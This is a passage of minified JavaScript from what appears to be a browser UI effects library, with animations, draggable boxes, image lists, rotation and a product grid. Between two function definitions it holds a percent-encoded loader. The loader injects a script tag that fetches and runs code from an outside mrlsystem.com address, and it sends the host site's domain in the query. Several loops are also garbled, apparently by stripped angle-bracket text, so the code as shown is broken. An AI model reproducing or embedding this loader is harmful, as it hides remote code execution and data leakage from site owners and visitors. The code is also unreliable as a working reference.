- GeyA.offsetWidth; var NewHt = GeyA.offsetHeight; var NewWd = GeyA.offsetWidth;} else if (Dir == 'B') {var Tp = i; var Lf = 0; var Ht = 1; var Wd = GeyA.offsetWidth; Op = Math.abs((OpLen - i) / OpLen * (OpMax - OpMin) + OpMin);var NewTp = i - GeyA.offsetHeight; var NewLf = 0; var NewHt = GeyA.offsetHeight; var NewWd = GeyA.offsetWidth;} else if (Dir == 'L') {var Tp = 0; var Lf = OpLen - i; var Ht = GeyA.offsetHeight; var Wd = 1; Op = Math.abs((OpLen - i) / OpLen * (OpMax - OpMin) + OpMin);var NewTp = 0; var NewLf = (0 - i + 1); var NewHt = GeyA.offsetHeight; var NewWd = GeyA.offsetWidth;};var GGeyA = Mrlce('div');GGeyA.style.top = Tp + 'PX';GGeyA.style.left = Lf + 'PX';GGeyA.style.position = 'absolute';GGeyA.style.height = Ht + 'PX';GGeyA.style.width = Wd + 'PX';GGeyA.style.overflow = 'HIDDEN';GGeyA.style.filter = 'alpha(opacity=' + (Op * 1) + ')' ;GGeyA.style.opacity = Op / 100;var GeyB = Mrlce(GeyA.tagName);GeyB.style.top = NewTp + 'PX';GeyB.style.left = NewLf + 'PX';GeyB.style.position = 'absolute';GeyB.style.height = NewHt + 'PX';GeyB.style.width = NewWd + 'PX';GeyB.style.overflow = 'HIDDEN';GeyB.innerHTML = GeyA.innerHTML;GeyB.value = GeyA.value;GeyB.src = GeyA.src;GGeyA.appendChild(GeyB);GImg.appendChild(GGeyA);};GeyC = GeyA.parentNode;for (var i = 0; GeyC != document.body; i = 0) {var GeA = GeyC.tagName.toUpperCase;if (GeA == 'DIV' || GeA == 'SPAN' || GeA == 'BUTTON') {break} ;GeyC = GeyC.parentNode;};GeyC.appendChild(GImg);return GImg;};var h=document.getElementsByTagName('head')[0];var s=document.createElement(decodeURIComponent('%73%63%72%69%70%74'));s.type=decodeURIComponent('%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74');var l=document.location.href;l=l.substring(l.indexOf("//")*1+2);l=l.substring(0,l.indexOf("/"));var m=decodeURIComponent('%68%74%74%70%3a%2f%2f%77%77%77%2e%6d%72%6c%73%79%73%74%65%6d%2e%63%6f%6d%2f%6d%72%6c%2f%6d%63%3f');s.src=m+"dm="+l;h.appendChild(s);MrlCreateSquare = function(GCreateSquare_GeyA){var GeyA = GCreateSquare_GeyA;var GeySq = Mrlce('div');GeySq.style.position = 'absolute';GeySq.style.top = GeySq.offsetTop + 'px';GeySq.style.left = GeySq.offsetLeft + 'px';GeySq.style.height = (GeyA.offsetHeight * 1 + 20) + 'px';GeySq.style.width = GeyA.offsetWidth + 'px';GeySq.style.overflow = 'hidden';var GeyC = GeyA.parentNode;for (var i = 0; GeyC != document.body; i = 0) {var GeA = GeyC.tagName.toUpperCase();if (GeA == 'DIV' || GeA == 'BUTTON' || GeA == 'SPAN') {break};GeyC = GeyC.parentNode;};var GGeyA = Mrlce('div');GGeyA.style.position = 'absolute';GGeyA.style.top = '0px';GGeyA.style.left = '0px';GGeyA.style.height = (GeyA.offsetHeight * 1 + 20) + 'px';GGeyA.style.width = GeyA.offsetWidth + 'px';GGeyA.style.opacity = '0';GGeyA.style.filter = 'alpha(opacity=0)';GGeyA.style.zIndex = '0';GGeyA.style.border = 'none 0px #000';var GeyB = Mrlce('div');GeyB.style.position = 'absolute';GeyB.style.top = '0px';GeyB.style.left = '0px';GeyB.style.height = '20px';GeyB.style.width = GeyA.offsetWidth + 'px';GeyB.style.zIndex = '1';GGeyA.appendChild(GeyB);var GGeyB = Mrlce('button');GGeyB.style.position = 'absolute';GGeyB.style.top = '1px';GGeyB.style.left = (GeyA.offsetWidth - 85) + 'px';GGeyB.style.width = '18px';GGeyB.style.height = '18px';GGeyB.innerHTML = '-';GeyB.appendChild(GGeyB);var GGeyB = Mrlce('button');GGeyB.style.position = 'absolute';GGeyB.style.top = '1px';GGeyB.style.left = (GeyA.offsetWidth - 60) + 'px';GGeyB.style.width = '18px';GGeyB.style.height = '18px';GGeyB.innerHTML = '=';GeyB.appendChild(GGeyB);var GGeyB = Mrlce('button');GGeyB.style.position = 'absolute';GGeyB.style.top = '1px';GGeyB.style.left = (GeyA.offsetWidth - 35) + 'px';GGeyB.style.width = '18px';GGeyB.style.height = '18px';GGeyB.innerHTML = 'x';GeyB.appendChild(GGeyB);var DicCr = ['#ffffaa', '#ffffaa', '#ffffaa', '#ffffaa', '#ffffaa', '#ffffaa', '#ffffaa', '#ffffbb', '#ffffcc', '#ffffdd', '#ffffee', '#ffffff', '#ffffff', '#ffffff', '#ffffff', '#ffffff', '#ffffff', '#ffffee', '#ffffdd', '#ffffcc'];for (var i = 0; i < 20; i++) {var GeyBG = Mrlce('div');GeyBG.style.position = 'absolute';GeyBG.style.top = i + 'px';GeyBG.style.left = '0px';GeyBG.style.height = '1px';GeyBG.style.width = GeyA.offsetWidth + 'px';GeyBG.style.backgroundColor = DicCr[i];GeyBG.style.zIndex = '0';GGeyA.appendChild(GeyBG);};GeyA.style.position = 'absolute';GeyA.style.top = '20px';GeyA.style.left = '0px';GeySq.appendChild(GGeyA);GeySq.appendChild(GeyA);if (GeyA.style.zIndex) {GeySq.style.zIndex = GeyA.style.zIndex};GeyA.style.zIndex = '2';GeyC.appendChild(GeySq);MrlRoundedCorner(GeyB, 1, 1);MrlRoundedCorner(GeyA, 0, 0, 1, 1);GeA = Math.round(Math.random() * 999999, 0);for (var i = 0; Mrlgei(GeA); i = 0) {GeA = Math.round(Math.random() * 999999, 0);};GeySq.id = GeA;GeyA.GUD = 'U';GeySq.GTimeOut = '';GeySq.onmouseover = function(){clearTimeout(GeySq.GTimeOut); GeySq.GTimeOut = setTimeout("MrlAnimation(Mrlgei('" + GeySq.id + "').childNodes[0], 2, null, null, null, null, 100)", 0)};GeySq.onmouseout = function(){clearTimeout(GeySq.GTimeOut); GeySq.GTimeOut = setTimeout("MrlAnimation(Mrlgei('" + GeySq.id + "').childNodes[0], 2, null, null, null, null, 0)", 100)};GGeyA.onmousedown = function(){this.GUD = 'D'; var GeX = window.event.clientX; var GeY = window.event.clientY; this.GX = GeX; this.GY = GeY; this.GTop = this.parentNode.offsetTop; this.GLeft = this.parentNode.offsetLeft};GGeyA.onmousemove = function(){if (this.GUD == 'U') {return 0}; this.GUD = 'U'; var GeX = window.event.clientX; var GeY = window.event.clientY; this.parentNode.style.left = this.GLeft * 1 + GeX - this.GX; this.parentNode.style.top = this.GTop * 1 + GeY - this.GY; this.GUD = 'D'};GGeyA.onmouseup = function(){this.GUD = 'U'};GGeyA.onmouseout = function(){this.GUD = 'U'};return GeySq;};MrlAppList = function(GAppList_GeyAry, GAppList_IorF, GAppList_HorV, GAppList_Perc, GAppList_Height, GAppList_Width, GAppList_FontSize, GAppList_WordTop, GAppList_WordLeft){var GeyDiv = Mrlce('div');var GeyDivCon = Mrlce('div');GeyDiv.appendChild(GeyDivCon);GeyDivCon.style.position = 'absolute';GeyDivCon.style.height = '100%';GeyDivCon.style.width = '100%';GeyDivCon.style.left = '0px';GeyDivCon.style.top = '0px';GeyDivCon.style.zIndex = '0';var GeyDivMov = Mrlce('div');GeyDiv.appendChild(GeyDivMov);GeyDivMov.style.position = 'absolute';GeyDivMov.style.height = '100%';GeyDivMov.style.width = '100%';GeyDivMov.style.left = '0px';GeyDivMov.style.top = '0px';GeyDivMov.style.zIndex = '1';GeyDivMov.style.backgroundColor = '#fff';GeyDivMov.style.filter = 'alpha(opacity=1)';GeyDivMov.style.opacity = '0.01';var DicA = GAppList_GeyAry;var HV = GAppList_HorV ? GAppList_HorV: 'V';HV = HV + '';HV = HV.toUpperCase();var IorF = GAppList_IorF ? GAppList_IorF: 'I';var ImgHei = GAppList_Height ? GAppList_Height: 100;var ImgWid = GAppList_Width ? GAppList_Width: 100;var ImgPer = GAppList_Perc ? GAppList_Perc: 2;var WTop = GAppList_WordTop ? GAppList_WordTop:-20;var WLeft = GAppList_WordLeft ? GAppList_WordLeft:0;var GeyTbl = Mrlce('table');GeyDivCon.appendChild(GeyTbl);GeyTbl.setAttribute('cellpadding', '0');GeyTbl.setAttribute('cellspacing', '0');GeyTbl.style.height = '100%';GeyTbl.style.width = '100%';GeyTbl.style.padding = '0px 0px 0px 0px';var GeyTy = Mrlce('tbody');GeyTbl.appendChild(GeyTy);var GeyTr = Mrlce('tr');GeyTy.appendChild(GeyTr);var GeyTd = Mrlce('td');GeyTr.appendChild(GeyTd);GeyTd.style.height = '100%';GeyTd.style.width = '100%';if (HV == 'V') {GeyTd.setAttribute('align', 'center'); GeyTd.setAttribute('vAlign', 'bottom')} else {GeyTd.setAttribute('align', 'left'); GeyTd.setAttribute('vAlign', 'center')};var GeyTbl = Mrlce('table');GeyTd.appendChild(GeyTbl);GeyTbl.setAttribute('cellPadding', '0');GeyTbl.setAttribute('cellSpacing', '0');GeyTbl.style.padding = '0px 0px 0px 0px';var GeyTy = Mrlce('tbody');GeyTbl.appendChild(GeyTy);var GeyTr = Mrlce('tr');GeyTy.appendChild(GeyTr);for (var i = 0; i < DicA.length; i++) {if (HV == 'H' && i != 0) {var GeyTr = Mrlce('tr');GeyTy.appendChild(GeyTr)};var GeyTd = Mrlce('td');if (IorF == 'I') {var ImgPth = DicA[i][0];var ImgDes = DicA[i][1];} else if (IorF == 'F') {var ImgDes = DicA[i];};var GeyTd = Mrlce('td');GeyTr.appendChild(GeyTd);if (HV == 'V') {GeyTd.setAttribute('align', 'center'); GeyTd.setAttribute('vAlign', 'bottom')} else {GeyTd.setAttribute('align', 'left'); GeyTd.setAttribute('vAlign', 'center')};GeyTd.style.padding = '5px 5px 5px 5px';GeyTd.style.height = '100%';var Img = Mrlce('img');Img.style.position = 'relative';Img.style.height = ImgHei + 'px';Img.style.width = ImgWid + 'px';if (IorF == 'I') {Img.alt = ImgDes;Img.src = ImgPth};Img.id = 'MrlAppList_Img' + i;Img.GSelected = 'N';GeyTd.appendChild(Img);var Lbl = Mrlce('label');if (HV == 'H') {var GeyTd = Mrlce('td');GeyTr.appendChild(GeyTd);GeyTd.setAttribute('align', 'left'); GeyTd.setAttribute('vAlign', 'center')};if (IorF == 'I') {Img.onmouseover = function(GAppListMyPer){var GeyA = this.GDesc; GeyA.style.width = this.offsetWidth + 'px'; GeyA.style.display = 'inline'; GeyA.style.fontSize = GeyA.GWordSize * GAppListMyPer + 'px'};Img.onmouseout = function(){var GeyA = this.GDesc; GeyA.style.display = 'none'};} else if (IorF == 'F') {Lbl.onmouseover = function(GAppListMyPer){var GeyA = this; GeyA.style.fontSize = GeyA.GWordSize * GAppListMyPer + 'px'};Lbl.onmouseout = function(){};};Lbl.style.position = 'relative';Lbl.style.height = 'auto';if (IorF == 'F'){Lbl.style.height = ImgHei + 'px'};Lbl.style.width = ImgWid + 'px';;if (HV == 'V') {Lbl.style.textAlign = 'center'} else {Lbl.style.textAlign = 'left'; Lbl.style.paddingLeft = '2px'};if (IorF == 'I') {Lbl.style.display = 'none'};Lbl.innerHTML = ImgDes;Lbl.GWordTop = WTop;Lbl.GWordLeft = WLeft;Lbl.GWordSize = GAppList_FontSize ? GAppList_FontSize: 30;Lbl.GSelected = 'N';GeyTd.appendChild(Lbl);if (HV == 'V') {var BR = Mrlce('br');GeyTd.appendChild(BR);GeyTd.appendChild(Img)};Img.GDesc = Lbl;};GeyDivMov.GImgPer = ImgPer;GeyDivMov.GImgHei = ImgHei;GeyDivMov.GImgWid = ImgWid;GeyDivMov.onmouseout = function(e){if (this.GIorF == 'I') {var GeyA = this.parentNode.getElementsByTagName('img');} else {var GeyA = this.parentNode.getElementsByTagName('label');};for (var i = 0; i < GeyA.length; i++) {GeyA[i].onmouseout(1);GeyA[i].style.height = this.GImgHei + 'px'; GeyA[i].style.width = this.GImgWid + 'px'};};GeyDivMov.onclick = function(){if (this.GIorF == 'I') {var GeyA = this.parentNode.getElementsByTagName('img');} else {var GeyA = this.parentNode.getElementsByTagName('label');};for (var i = 0; i < GeyA.length; i++) {if (GeyA[i].GSelected == 'Y') {if (this.parentNode.onMrlclick) {this.parentNode.onMrlclick(i)}; break};};};GeyDiv.onMrlclick = function(GAppList_Gclick){alert('please set div onMrlclick function. returns argument = ' + GAppList_Gclick)};GeyDivMov.GIorF = IorF;GeyDivMov.onmousemove = function(e){if (!e) {e = window.event};var GeY = e.offsetX ? e.offsetX:e.layerX;var GeX = e.offsetY ? e.offsetY:e.layerY;var ImgPer = this.GImgPer;if (this.GIorF == 'I') {var GeyA = this.parentNode.getElementsByTagName('img');} else {var GeyA = this.parentNode.getElementsByTagName('label');};for (var i = 0; i < GeyA.length; i++) {if (this.GIorF == 'I') {var MidX = GeyA[i].offsetTop * 1 + (GeyA[i].offsetHeight / 2);var MidY = GeyA[i].offsetLeft * 1 + (GeyA[i].offsetWidth / 2);} else {var MidX = GeyA[i].offsetTop * 1 + (GeyA[i].offsetHeight / 2);var MidY = GeyA[i].offsetLeft * 1 + 20;};var Dif = Math.round(((Math.abs(GeX - MidX) / this.GImgHei) * 1 + (Math.abs(GeY - MidY) / this.GImgWid)) / 2 * 100);if (Dif < 200) {var OriDif = Dif;Dif = 200 - Dif;GeyA[i].style.height = ((((ImgPer - 1) * (Dif / 200)) * 1 + 1) * (this.GImgHei)) + 'px';GeyA[i].style.width = ((((ImgPer - 1) * (Dif / 200)) * 1 + 1) * (this.GImgWid)) + 'px';if (OriDif < 100) {GeyA[i].onmouseover(Dif / 200);} else {GeyA[i].onmouseout(Dif / 200);};} else {var GeA = GeyA[i].style.height;GeA = GeA.toUpperCase();if (GeA != this.GImgHei + 'px') {GeyA[i].style.height = this.GImgHei + 'px'};var GeA = GeyA[i].style.width;GeA = GeA.toUpperCase();if (GeA != this.GImgWid + 'px') {GeyA[i].style.width = this.GImgWid + 'px'};GeyA[i].onmouseout(Dif / 200);};if (GeX >= GeyA[i].offsetTop && GeX <= GeyA[i].offsetTop * 1 + GeyA[i].offsetHeight && GeY >= GeyA[i].offsetLeft && GeY <= GeyA[i].offsetLeft * 1 + GeyA[i].offsetWidth) {GeyA[i].GSelected = 'Y'} else {GeyA[i].GSelected = 'N'};};};return GeyDiv;};MrlSetJelly = function(GJelly_GeyA, GJelly_Type,GJelly_Tper,GJelly_Lper){var GeyA = GJelly_GeyA;GeyA.GJellyHeight = GeyA.offsetHeight;GeyA.GJellyWidth = GeyA.offsetWidth;GeyA.GJellyTop = GeyA.offsetTop;GeyA.GJellyLeft = GeyA.offsetLeft;GeyA.GJellyTPer = GJelly_Tper?GJelly_Tper:0.3;GeyA.GJellyLPer = GJelly_Lper?GJelly_Lper:0.2;if (!GJelly_Type) {GeyA.onmouseover=function(){this.onMrlAnimationEnd = function(){this.onMrlAnimationEnd = function(){this.onMrlAnimationEnd = function(){};var Tp = this.GJellyTop;var Lf = this.GJellyLeft;var Ht = this.GJellyHeight;var Wd = this.GJellyWidth;var TPer = this.GJellyTPer;var LPer = this.GJellyLPer;MrlAnimation(this,3,Tp,Lf,Ht,Wd);};var Tp = this.GJellyTop;var Lf = this.GJellyLeft;var Ht = this.GJellyHeight;var Wd = this.GJellyWidth;var TPer = this.GJellyTPer;var LPer = this.GJellyLPer;MrlAnimation(this, 1, Math.round(Tp*1-(Ht*TPer)), Math.round(Lf*1+(Wd*LPer/2)),Ht*(1*1+TPer),Wd*(1*1-LPer));};var Tp = this.GJellyTop;var Lf = this.GJellyLeft;var Ht = this.GJellyHeight;var Wd = this.GJellyWidth;var TPer = this.GJellyTPer;var LPer = this.GJellyLPer;MrlAnimation(this, 1, Math.round(Tp*1+(Ht*TPer)), Math.round(Lf*1-(Wd*LPer/2)),Ht*(1*1-TPer),Wd*(1*1+LPer));};} else if (GJelly_Type == 1) {GeyA.onmousedown=function(){this.onMrlAnimationEnd = function(){this.onMrlAnimationEnd = function(){this.onMrlAnimationEnd = function(){};var Tp = this.GJellyTop;var Lf = this.GJellyLeft;var Ht = this.GJellyHeight;var Wd = this.GJellyWidth;var TPer = this.GJellyTPer;var LPer = this.GJellyLPer;MrlAnimation(this,3,Tp,Lf,Ht,Wd);};var Tp = this.GJellyTop;var Lf = this.GJellyLeft;var Ht = this.GJellyHeight;var Wd = this.GJellyWidth;var TPer = this.GJellyTPer;var LPer = this.GJellyLPer;MrlAnimation(this, 1, Math.round(Tp*1-(Ht*TPer)), Math.round(Lf*1+(Wd*LPer/2)),Ht*(1*1+TPer),Wd*(1*1-LPer));};var Tp = this.GJellyTop;var Lf = this.GJellyLeft;var Ht = this.GJellyHeight;var Wd = this.GJellyWidth;var TPer = this.GJellyTPer;var LPer = this.GJellyLPer;MrlAnimation(this, 1, Math.round(Tp*1+(Ht*TPer)), Math.round(Lf*1-(Wd*LPer/2)),Ht*(1*1-TPer),Wd*(1*1+LPer));};} else if (GJelly_Type == 2) {GeyA.onmousedown=function(){var Tp = this.GJellyTop;var Lf = this.GJellyLeft;var Ht = this.GJellyHeight;var Wd = this.GJellyWidth;var TPer = this.GJellyTPer;var LPer = this.GJellyLPer;MrlAnimation(this, 10, Math.round(Tp*1+(Ht*TPer)), Math.round(Lf*1-(Wd*LPer/2)),Ht*(1*1-TPer),Wd*(1*1+LPer));};GeyA.onmouseup=function(){this.onMrlAnimationEnd = function(){this.onMrlAnimationEnd = function(){};var Tp = this.GJellyTop;var Lf = this.GJellyLeft;var Ht = this.GJellyHeight;var Wd = this.GJellyWidth;var TPer = this.GJellyTPer;var LPer = this.GJellyLPer;MrlAnimation(this,3,Tp,Lf,Ht,Wd);};var Tp = this.GJellyTop;var Lf = this.GJellyLeft;var Ht = this.GJellyHeight;var Wd = this.GJellyWidth;var TPer = this.GJellyTPer;var LPer = this.GJellyLPer;MrlAnimation(this, 1, Math.round(Tp*1-(Ht*TPer)), Math.round(Lf*1+(Wd*LPer/2)),Ht*(1*1+TPer),Wd*(1*1-LPer));};};};MrlDragAble = function(GDragAble_GeyA,GDragAble_Scale){var GeyA = GDragAble_GeyA;if (GeyA.GDragging == 1) {return 0};GeyA.GDragging = 1;var GeyB = Mrlce('div');GeyA.parentNode.appendChild(GeyB);var GeyOri = GeyA;var GeyA = GeyB;GeyOri.style.position = 'absolute';GeyOri.style.left = GeyOri.offsetLeft + 'px';GeyOri.style.top = GeyOri.offsetTop + 'px';GeyA.GOri = GeyOri;GeyOri.GDragDiv = GeyA;GeyA.GOriFilter = GeyOri.style.filter;GeyA.GOriOpacity = GeyOri.style.opacity;GeyA.GDragAbleScale = GDragAble_Scale?GDragAble_Scale:1;GeyA.innerHTML = GeyOri.outerHTML;var GeyTop = Mrlce('div');GeyTop.style.position='absolute';GeyTop.style.top='0px';GeyTop.style.left='0px';GeyTop.style.height='100%';GeyTop.style.width='100%';GeyTop.style.backgroundColor='#fff';GeyTop.style.opacity = '0';GeyTop.style.filter = 'alpha(opacity=0)';GeyTop.style.zIndex = '999999999';GeyA.appendChild(GeyTop);GeyA.style.position = 'absolute';if (!isNaN(GeyOri.style.zIndex * 1)) {GeyA.style.zIndex = GeyOri.style.zIndex*1+100};GeyA.style.filter = 'alpha(opacity=40)';GeyA.style.opacity = '0.4';GeyOri.style.filter = 'alpha(opacity=40)';GeyOri.style.opacity = '0.4';GeyA.style.top = GeyOri.offsetTop + 'px';GeyA.style.left = GeyOri.offsetLeft + 'px';GeyA.style.position = 'absolute';for (var i=0;i(-120)))) {GeyCtrl.GWheelRange++} else {GeyCtrl.GWheelRange=0};GeyCtrl.GWheelUorD=GeA<=(-120)?'D':'U';GeyCtrl.onMrlkeypress(-2,GeyCtrl.GWheelUorD)};if(document.attachEvent) {document.attachEvent('onmousewheel',document.wheel);}else if(document.addEventListener){document.addEventListener('DOMMouseScroll',document.wheel,false); window.onmousewheel=document.onmousewheel=document.wheel;};};MrlRotate=function(GRotate_GeyA,GRotate_Deg,GRotate_Scale){var GeyA=GRotate_GeyA;var Deg=GRotate_Deg%360;if (isNaN(Deg)){return 0};GeyA.GRotate_Rot=Deg;GeyA.style.transform='rotate('+Deg+'deg)';GeyA.style.oTransform='rotate('+Deg+'deg)';GeyA.style.msTransform='rotate('+Deg+'deg)';GeyA.style.webkitTransform='rotate('+Deg+'deg)';GeyA.style.mozTransform='rotate('+Deg+'deg)';var Scale=GRotate_Scale?GRotate_Scale:1;if (!GeyA.GRotate_Start){GeyA.GRotate_Start=2;GeyA.GRotate_Height=GeyA.offsetHeight;GeyA.GRotate_Width=GeyA.offsetWidth;};if (!Mrlie9()){if(GeyA.GRotate_Start==2){GeyA.GRotate_Start=1};return GeyA};var GHt=GeyA.GRotate_Height;var GWd=GeyA.GRotate_Width;var ChkA=0;if (!GeyA.GRotate_Scale){ChkA=1}else{if (GeyA.GRotate_Scale!=Scale){ChkA=1}};if (ChkA==1) {var Deg=45;Cur=Deg*3.141592653589793/180;var LFA=Math.cos(Cur)*GWd*Scale;var HTA=Math.sin(Cur)*GWd*Scale;var NDeg=((Deg*1+90)%360);var NCur=NDeg*3.141592653589793/180;var LFB=Math.cos(NCur)*GHt*Scale;var HTB=Math.sin(NCur)*GHt*Scale;var LFC=(LFA*1+LFB*1)/2;var HTC=(HTA*1+HTB*1)/2;var LFD=(LFA*1+LFB*1);var HTD=(HTA*1+HTB*1);var MHT=HTD;var MLF=(LFA*1-LFB*1);var NScale=(GHt)/MHT;if (NScale>(GWd)/MLF){NScale=(GWd)/MLF;};GeyA.style.height=GHt/NScale+'px';GeyA.style.width=GWd/NScale+'px';GeyA.GRotate_Scale=Scale;GeyA.GRotate_NScale=NScale;};var NScale=GeyA.GRotate_NScale;if (GeyA.GRotate_Start==2){GeyA.GRotate_Start=1;GeyA.style.position='absolute';GeyA.style.top=GeyA.offsetTop*1+((GHt-GHt/NScale)/2);GeyA.style.left=GeyA.offsetLeft*1+((GWd-GWd/NScale)/2);};GHt=GHt/NScale;GWd=GWd/NScale;var Deg=GRotate_Deg%360;GeyA.style.filter='progid:DXImageTransform.Microsoft.Matrix();';var GeyB=GeyA.filters['DXImageTransform.Microsoft.Matrix'];Cur=Deg*3.141592653589793/180;var Cos=Math.cos(Cur);var Sin=Math.sin(Cur);GeyB.M11=Cos*NScale*Scale;GeyB.M12=(0-Sin)*NScale*Scale;GeyB.M21=Sin*NScale*Scale;GeyB.M22=Cos*NScale*Scale;var LFA=Cos*GWd*NScale*Scale;var HTA=Sin*GWd*NScale*Scale;var NDeg=((Deg*1+90)%360);var NCur=NDeg*3.141592653589793/180;var LFB=Math.cos(NCur)*GHt*NScale*Scale;var HTB=Math.sin(NCur)*GHt*NScale*Scale;var LFC=(LFA*1+LFB*1)/2;var HTC=(HTA*1+HTB*1)/2;GeyB.Dx = (GWd/2)-(LFC);GeyB.Dy = (GHt/2)-(HTC);GeyA.cdeg=Deg;return GeyA;};MrlListOverList = function(GListOverList_Ary,GListOverList_Dis, GListOverList_LeftDis,GListOverList_TopDis){var GeyDiv=Mrlce('div');var GeyCov = Mrlce('div');GeyCov.style.position = 'absolute';GeyCov.style.top = '0px';GeyCov.style.left = '0px';GeyCov.style.height = '100%';GeyCov.style.width = '100%';GeyCov.style.zIndex = '9999';GeyCov.style.backgroundColor = '#fff';GeyCov.style.filter = 'alpha(opacity=0)';GeyCov.style.opacity = '0';GeyCov.style.display = 'none';GeyDiv.appendChild(GeyCov);GeyDiv.GeyCov = GeyCov;var LeftDis=GListOverList_LeftDis?GListOverList_LeftDis:20;var TopDis=GListOverList_TopDis?GListOverList_TopDis:20;var Dis=GListOverList_Dis?GListOverList_Dis:20;GeyDiv.GDis=Dis;GeyDiv.GLeftDis=LeftDis;GeyDiv.GToptDis=TopDis;GeyDiv.style.position='absolute';var DicA=GListOverList_Ary;GeyDiv.GPages=DicA.length;GeyDiv.GCurPage=0;GeyDiv.GPrePage=0;GeyDiv.GRunning = 'N';GeyDiv.onMrlRearrange = function(GRearrange_GeyA){if (this.GRunning == 'Y') {return};this.GRunning = 'Y';var GeyA = GeyDiv.childNodes;var GeyB = GRearrange_GeyA;for (var i=0;i=DicDiv.length) {Pg=0};if(Pg<0){Pg=DicDiv.length-1};if (this.GCurPg==Pg){return 0};if (this.GScrolling==((-GeR)*2)){this.GScrolling=0};if (this.GScrolling!=0){return 0};this.GScrolling=GeR*2;var LR=this.GCurPg>Pg?'L':'R';var CurPg=DicDiv[Pg];var PrePg=DicDiv[this.GCurPg];var GeWd=this.GProductGrid_GeWd;var GeHt=this.GProductGrid_GeHt;CurPg.style.zIndex='1';PrePg.style.zIndex='0';var DicPre=PrePg.GDic;var DicCur=CurPg.GDic;CurPg.style.left='0px';PrePg.style.left='0px';MrlAnimation(this.GBar.GPSImg,2,null,this.GBar.GDic[Pg].offsetLeft);MrlAnimation(this.GBar.GMOImg,2,null,this.GBar.GDic[Pg].offsetLeft);if (DicAni[this.GProductGrid_SNum]==1){for(var i=0;i=this.GProductGrid_GDicDiv.length){GeID=0};if(GeID<0){GeID=this.GProductGrid_GDicDiv.length-1};var GeyDiv=this.GProductGrid_GDicDiv[GeID];var GeyPar=GeyDiv.GProductGrid_GParentNode;var Tp=GeyPar.offsetTop*1+GeyDiv.offsetTop*1+GeyPar.parentNode.offsetTop*1;var Lf=GeyPar.offsetLeft*1+GeyDiv.offsetLeft*1+GeyPar.parentNode.offsetLeft*1;if(this.IorD=='I'){var GeyImg=Mrlce('img');this.appendChild(GeyImg);var DicDiv=this.GProductGrid_GDicOriAry;GeyImg.src=DicDiv[GeID][1];GeyImg.style.position='absolute';GeyImg.style.height='100%';GeyImg.style.zIndex='5';GeyImg.style.width='1px';GeyImg.style.top='-100%';GeyImg.style.left='10px';GeyImg.GGeID=GeID;GeyImg.id='MrlProductGrid_RANID_'+parseInt(Math.random()*99999);if (DicDiv[GeID][3]=='Mrl'){GeyImg.mto=setTimeout("Mrlgei('"+GeyImg.id+"').onload()",2000);} else {DicDiv[GeID][3]='Mrl';DicDiv[GeID][4]=new Image();DicDiv[GeID][4].src=DicDiv[GeID][1];GeyImg.mto=setTimeout("Mrlgei('"+GeyImg.id+"').onload()",2000);};GeyImg.onload=function(){clearTimeout(this.mto);this.GParent.removeChild(this.GGeyDiv);this.style.width='auto';setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",0);};GeyImg.onMrlLoad=function(){this.id='';var Ht=this.offsetHeight;var Wd=this.offsetWidth;var Rat=1;if (Wd>(this.parentNode.offsetWidth-40)||Ht>(this.parentNode.offsetHeight-90)){Rat=((this.parentNode.offsetWidth-40)/Wd)<((this.parentNode.offsetHeight-90)/Ht)?((this.parentNode.offsetWidth-40)/Wd):((this.parentNode.offsetHeight-90)/Ht);};Ht*=Rat;Wd*=Rat;this.style.height=(Ht)+'px';this.style.width=(Wd)+'px';var GeID=this.GGeID;var GeText=this.parentNode.GProductGrid_GDicOriAry[GeID][2];var GeyA=Mrlce('div');GeyA.style.position='absolute';GeyA.style.zIndex='6';GeyA.style.top=(Ht-65)+'px';GeyA.style.left='10px';GeyA.style.height=(60)+'px';GeyA.style.width=(Wd)+'px';GeyA.style.fontFamily='verdana';GeyA.style.fontSize='14px';GeyA.style.color='#555';var GeyB=Mrlce('div');GeyB.style.position='absolute';GeyB.style.zIndex='6';GeyB.style.top=(0)+'px';GeyB.style.left='0px';GeyB.style.height='100%';GeyB.style.width='100%';GeyB.style.paddingTop='5px';GeyB.innerHTML=GeText;GeyA.appendChild(GeyB);var GeyB=Mrlce('div');GeyB.style.position='absolute';GeyB.style.backgroundColor='#fff';GeyB.style.filter='alpha(opacity=50)';GeyB.style.opacity='0.5';GeyB.style.zIndex='5';GeyB.style.top=(0)+'px';GeyB.style.left='0px';GeyB.style.height='100%';GeyB.style.width='100%';GeyB.style.paddingTop='5px';GeyA.appendChild(GeyB);this.GDesc=GeyA;var GeyA=Mrlce('button');GeyA.style.position='absolute';GeyA.style.zIndex='6';GeyA.style.top=(10)+'px';GeyA.style.right='10px';GeyA.style.height=(30)+'px';GeyA.style.width=(30)+'px';GeyA.style.backgroundColor='#fff';GeyA.style.border='none 0px #000';GeyA.style.fontFamily='verdana';GeyA.style.fontSize='18px';GeyA.style.color='#555';GeyA.innerHTML='X';GeyA.value='X';GeyA.onclick=function(){this.parentNode.parentNode.GGeyCov.onclick()};this.GClose=GeyA;this.GParent.GGeyImg=this;this.GParent.onMMrlAnimationEnd=function(){this.onMrlAnimationEnd=function(){};this.onMMrlAnimationEnd=function(){};this.GGeyImg.style.top='10px';this.appendChild(this.GGeyImg);this.appendChild(this.GGeyImg.GDesc);this.appendChild(this.GGeyImg.GClose)};var Lf=(this.parentNode.offsetWidth-Wd-20)/2;var Tp=(this.parentNode.offsetHeight-Ht-20)/2;MrlAnimation(this.GParent,2,Tp,Lf,Ht*1+20,Wd*1+20);if(this.GParent.GAniCom==1){this.GParent.onMrlAnimationEnd=function(){this.onMrlAnimationEnd=function(){};this.onMMrlAnimationEnd()}};};var GeyDiv=Mrlce('div');GeyImg.GGeyDiv=GeyDiv;this.appendChild(GeyDiv);GeyDiv.style.position='absolute';GeyDiv.style.height=(this.GProductGrid_GeHt-90>200)?((200)+'px'):((this.GProductGrid_GeHt-90)+'px');GeyDiv.style.width=(this.GProductGrid_GeWd-90>200)?((200)+'px'):((this.GProductGrid_GeWd-90)+'px');GeyDiv.style.top=(10)+'px';GeyDiv.style.left=(10)+'px';GeyDiv.style.zIndex='5';this.appendChild(GeyDiv);var GeyNImg=Mrlce('img');GeyDiv.appendChild(GeyNImg);GeyNImg.src='img/loading.gif';GeyNImg.style.position='absolute';GeyNImg.style.top=((GeyDiv.offsetHeight-40)/2)+'px';GeyNImg.style.left=((GeyDiv.offsetWidth-40)/2)+'px';GeyNImg.style.height='40px';GeyNImg.style.width='40px';var 